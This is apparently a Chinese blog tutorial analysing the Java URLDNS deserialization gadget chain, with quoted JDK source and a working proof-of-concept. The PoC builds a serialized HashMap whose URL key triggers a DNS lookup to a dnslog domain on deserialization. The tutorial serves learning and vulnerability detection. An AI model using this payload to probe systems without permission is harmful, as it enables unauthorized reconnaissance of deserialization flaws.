0%

java反序列化-URLDNS

前言

最近在学习java反序列化的知识,先从入门链开始分析,就是这个urldns链,简单来说就是反序列时发送一次dns请求,特点是只用到了jdk自带的类,并不受版本限制,主要用在漏洞检测,查看是否存在反序列化漏洞点。接下来开始分析

原理分析

具体链路就是

1
HashMap.readObject()→HashMap.hash()→URL.hashCode()→URLStreamHandler.getHostAddress()→InetAddress.getByName()

接下来结合代码具体分析

1
2
3
4
5
6
7
8
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里定义的hashCode为-1,就是如果hashCode如果不等于-1就返回,如果等于-1就会执行

1
hashCode = handler.hashCode(this);

看一下hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

计算规则是:协议+ip地址+端口+文件路径+锚点。依次通过调用 getProtocol ,getHostAddress,getFile,getPort,getRef 等方法获取到传入的 URL 链接的 Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即 # 后面的部分),获取完之后,对每部分调用它们的 hashCode 方法,将结果加到 h 上,最后将 h 返回。

我们主要关注

1
InetAddress addr = getHostAddress(u);

这里处理会解析dns转换为ip,如果转换失败就会用这个域名,看一个getHostAddress

image-20260415200549179

主要功能:获取当前url的主机ip地址,有两种情况返回null

URL 的主机字段为空(URL.getHost() 返回空);

DNS 解析失败(无法将主机名映射为 IP 地址)。

看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}

if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}

代码功能就是同上述描述。所以只要URL对象能够调用hashCode方法就可以执行上述过程,那接下来看一个HashMap.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

这里首先就是重写readObject方法,这样当反序列化时就会调用默认的的方法,而是调用这个重写的readObject方法,前面的可以不,关键代码在

1
putVal(hash(key), key, value, false, false);

这里使用个hash方法,看一下代码

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里使用了一个三目运算符,如果key为null,直接返回0,否则调用hashCode()。

当我们把数据放进HashMap时会执行

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这是就已经执行执行了hash()方法,讲过上述分析,会发送一次dns请求,hashCode的值已经改变了,不再是-1,那么当反序列化时就不会再发送dns请求。

所以要使用反射修改字段值,再次把hashCode改为-1,这样反序列化之后就可以发送dns请求。这个exp在ysoserial的基础上稍微修改一下,逻辑不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.HashMap;

class URLDNSReplay {

public static void main(String[] args) throws Exception {
String dnslogDomain = "dnhmct.dnslog.cn";

// 1. 创建不触发DNS的URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL url = new URL(null, "http://" + dnslogDomain, handler);

// 2. 先放入HashMap
HashMap<Object, Object> map = new HashMap<>();
map.put(url, dnslogDomain); // 先 put

// 3. 再设置 hashCode = -1
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.setInt(url, -1); // 后 set

// 4. 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);

// 5. 反序列化(触发DNS)
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

System.out.println("成功");
}



static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected java.net.URLConnection openConnection(java.net.URL u) {
return null;
}
@Override
protected synchronized java.net.InetAddress getHostAddress(java.net.URL u) {
return null;
}
}
}

image-20260415212905339

image-20260415212920679

这里分析最下面的这个自定义类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected java.net.URLConnection openConnection(java.net.URL u) {
return null;


}
@Override
protected synchronized java.net.InetAddress getHostAddress(java.net.URL u) {
return null;
}
}
}

这个类继承了URLStreamHandler,重写了两个方法,这里先说一下getHostAddress,这个方法上面说过,是将域名解析为ip,这里从写返回为null,就是为了在paylaod生成的时候不发送dns请求,也就是到

1
map.put(url, dnslogDomain);

这里调用hasCode()时,hashCode还是初始设置的-1,接下来会执行hashCode = handler.hashCode(this);我们又重写了 getHostAddress所以不会发送dns请求,hashCode的值还是会修改。

那么既然重写了getHostAddress,为什么在反序化时调用getHostAddress又会发送dns请求呢?

原因就是因为关键字transient,在代码中定义了

1
transient URLStreamHandler handler;

序列化时不保存transient的数据。序列化时handler不会别写入数据流,那么当反序列化时,jdk就会重新获取一个系统默认的 URLStreamHandler此时的getHostAddress没有被重写,可以执行dns请求。

重写的另一个方法时 openConnection,源代码中定义

1
abstract protected URLConnection openConnection(URL u) throws IOException;

只定义方法名字、参数、返回值不写具体实现,只能让子类重写,不重写代码就运行不了

image-20260415215630780

至此这一条链就分析完了。